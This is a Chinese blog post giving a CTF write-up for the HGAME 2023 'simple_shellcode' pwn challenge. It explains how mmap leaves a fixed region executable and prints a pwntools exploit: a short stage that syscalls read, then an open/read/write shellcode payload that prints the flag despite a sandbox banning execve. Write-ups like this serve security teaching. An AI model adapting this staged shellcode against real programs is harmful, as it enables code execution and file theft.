首页 > 系统相关 >【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击

【pwn】[HGAME 2023 week1]simple_shellcode --orw利用攻击

时间:2023-11-11 17:33:47浏览次数:33  
标签:调用 函数 映射 simple orw HGAME read mmap shellcode

先查看程序的保护状态

可以看到,保护全开,拖进ida看主函数的逻辑

可以看到有个mmap函数:

mmap() 函数是Unix和类Unix操作系统中的一个系统调用,用于在进程的地址空间中映射文件或者其它对象。这样做的好处是可以让文件直接映射到内存中,从而避免了频繁的文件 I/O 操作,提高了文件的读取效率。
mmap() 函数的一般形式如下: c 复制代码 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); 参数说明: addr:指定映射区的开始地址,通常设置为0,表示由系统自动分配。 length:指定映射区的长度,单位是字节。 prot:指定映射区的保护方式,如 PROT_READ(可读)、PROT_WRITE(可写)等。 flags:指定映射区的相关标志,比如 MAP_SHARED(多个进程可以共享该映射)和 MAP_PRIVATE(创建一个写时复制的私有映射)等。 fd:要映射的文件描述符,如果不是映射文件,则设置为 -1。 offset:指定文件映射的起始位置。 使用mmap()函数后,就可以通过对返回的指针进行读写操作,实际上就是对文件内容的读写。当不再需要映射时,可以使用munmap()函数取消映射。 总的来说,mmap() 是一个强大的系统调用,可以用于高效地处理文件的 I/O 操作,尤其适用于需要频繁读写文件内容的场景。 简单来说,就是将0xCAFE0000开始的位置,0x1000个字节大小的位置都修改成可读可写可执行,gdb动态调试用vmmap也能看到

可以看到,执行了vmmap函数之后,那段位置有了rwxp权限,接着继续看代码逻辑:read(0, (void *)0xCAFE0000LL, 0x10uLL);这里是往该地址输入内容,可以考虑shellcode,但是有长度限制,后面那段代码爆红,我们可以看一下其汇编代码

这里的call rdx就是跳转到我们0x0CAFE0000处,因为我们输入只有0x10个字节,我们可以考虑用syscall调用read函数,看代码:

code=''' mov rdi,rax mov rsi,0xcafe0000 syscall ''' shellcode=asm(code) io.send(shellcode) read的参数rdi,rsi,rdx,因为上图中eax已经赋值成0,read的syscall调用号也是0,所以刚好,更加参数这样设置就行,然后代码执行后,会继续读入数据,这一次的read读入的参数在rdx中,rdx前面已经被赋值过,可以读入很大的数据。 addr=0xcafe0000+0x100 shellcode1 = shellcraft.open("./flag") shellcode1 += shellcraft.read(3, addr, 0x50) shellcode1 += shellcraft.write(1, addr, 0x50) payload = asm(shellcode1) print(len(code)) io.send(b'\x90'*len(shellcode)+payload) io.interactive()
接着就是利用orw的方法获得flag就行:ORW类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve等),使得我们并不能正常 get shell,只能通过ROP的方式调用openreadwrite的来读取并打印flag 内容
这里的io.send(b'\x90'*len(shellcode)+payload)是因为,read函数这边读入的数据依旧是从0x0CAFE0000读入的,调用read函数后会跳转到下一行代码继续执行,而read函数的调用是在我们上一个shellcode的最后一行,所以(b'\x90'*len(shellcode)+payload就是我们这个新的shellcode的地址

 

 

 

标签:调用,函数,映射,simple,orw,HGAME,read,mmap,shellcode
From: https://www.cnblogs.com/GGbomb/p/17826111.html

相关文章

  • simple-check-100
    代码脚本解开法#include<stdio.h>intmain(intargc,char*argv[]){charflag_data[]={220,23,191,91,212,10,210,27,125,218,167,149,181,50,16,246,28,101,83,83,103,186,234,110,120,34,114,211};charv7[]={84,......
  • 跳转(Forward)和页面重定向(Redirect)的区别
    Redirect1.用户浏览器向http://localhost:8080/demo/start.xhtml发送GET请求。2.JSF收到请求,返回start.xhtml页面。3.用户点击页面中的按钮。4.JSF收到请求,向浏览器发送Redirect指令(3XX的HTTP状态值)。5.浏览器收到指令,发送另一个G......
  • [BZOJ2603] [POI2003] Motorways
    本题解思路类似kczno1在[POI2010]KOL-Railway的题解。如果\(l_i<l_j<r_i<r_j\)则连边\((i,j)\),题目转化为判断该图是否是二分图,如果是则给出染色方案。不妨先找出一个生成森林,然后染色并判断所有同颜色的点是否没有边相连。把所有\((l_i,r_i)\)按\(l\)从小......
  • PySimpleGUI+多线程
    #-*-coding:utf-8-*-#@Time:2023/11/610:03#@Author:wangyafeng#@FileName:进程和线程2.py#@Email:[email protected]#@Software:PyCharmimportthreadingimportmultiprocessingimportPySimpleGUIassgimporttimedeftask1():"&q......
  • 轻松理解 Transformers (3): Feed-Forward Layer部分
    编者按:随着人工智能技术的不断发展Transformer架构已经成为了当今最为热门的话题之一。前馈层作为Transformer架构中的重要组成部分,其作用和特点备受关注。本文通过浅显易懂的语言和生活中的例子,帮助读者逐步理解Transformers中的前馈层。本文是Transformers系列的第三篇。作者的观......
  • Ozon Tech Challenge 2020 (Div.1 + Div.2, Rated, T-shirts + prizes!) B. Kuroni an
    Problem-1305B-Codeforces 啦啦啦,这题题目有点长,概括一下就是,希望将所有()匹配的括号去掉问你需要操作多少次 双指针,一个i一个j,从前往后记录匹配的括号如果发现:1.括号匹配2.i<jok,就放入ans (⊙o⊙)…,最后记得sort一遍ans,第一遍因为这个wa了一发 #include......
  • 使用Python SimpleHTTPServer 快速启动http服务
    当前Python版本为2.7,3.5以后的版本略有区别,可用$python--version查看Python版本1、进入需要分享的目录cd~2、开启http服务#当前运行不填写端口默认8000python-mSimpleHTTPServer8888#当前终端后台运行python-mSimpleHTTPServer8888&#完全后台运行n......
  • ERROR: Cannot unpack file C:\Users\17482\AppData\Local\Temp\pip-unpack-9g9
    ERROR:CannotunpackfileC:\Users\17482\AppData\Local\Temp\pip-unpack-9g93t3zt\simple.html(downloadedfromC:\Users\17482\AppData\Local\Temp\pip-req-build-35ukmesa,content-type:text/html);cannotdetectarchiveformatERROR:Cannotdeterm......
  • C++的std::move与std::forward原理总结
    目录0、左值与右值的理解左值和右值的概念左值引用和右值引用1.std::move1.1函数原型1.2参数讨论1.3通用引用1.4返回值1.5std::move的常用例子1.5.1用于vector添加值1.5.2用于unique_ptr传递1.6再说转移对象控制权2.std::foward参考阅读大型的C++开源项目代码,基本......
  • [HDU 3483] A Very Simple Problem 题解
    题目描述快速求出下面式子的值:\[\left(\sum\limits_{k=1}^{N}k^{x}x^{k}\right)\bmodM\]其中\(1≤N,M≤2\times10^9\),并且\(1≤x≤50\)。题解(solution)对于该类题目,\(N\)很大,而\(x\)很小,考虑矩阵快速幂优化。对于每一个\(N\)的答案,我们用\(f(N)\)来......